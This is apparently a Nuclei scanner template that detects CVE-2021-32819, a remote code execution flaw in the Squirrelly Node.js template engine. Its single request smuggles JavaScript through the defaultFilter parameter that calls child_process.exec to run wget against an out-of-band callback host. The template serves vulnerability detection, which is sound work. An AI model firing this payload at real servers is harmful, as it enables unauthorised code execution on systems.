id: CVE-2021-32819

info:
  name: Nodejs Squirrelly - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Update to the latest version of Nodejs Squirrelly template engine to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
    - https://www.linuxlz.com/aqld/2331.html
    - https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32819
    - https://github.com/squirrellyjs/squirrelly/commit/c12418a026f73df645ba927fd29358efe02fed1e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-32819
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.82753
    epss-percentile: 0.98332
    cpe: cpe:2.3:a:squirrelly:squirrelly:8.0.8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: squirrelly
    product: squirrelly
  tags: cve2021,cve,nodejs,rce,oast,squirrelly

http:
  - method: GET
    path:
      - '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Wget"
# digest: 4b0a00483046022100aa7ca2c92f79ac28fd2150b51227335436fd18e936100074e82d284f2198fd38022100cae16de21e1e26871dbb8f7a3b598d17d4ed865611dbec02cdc8e762181bcceb:922c64590222798bb761d5b6d8e72950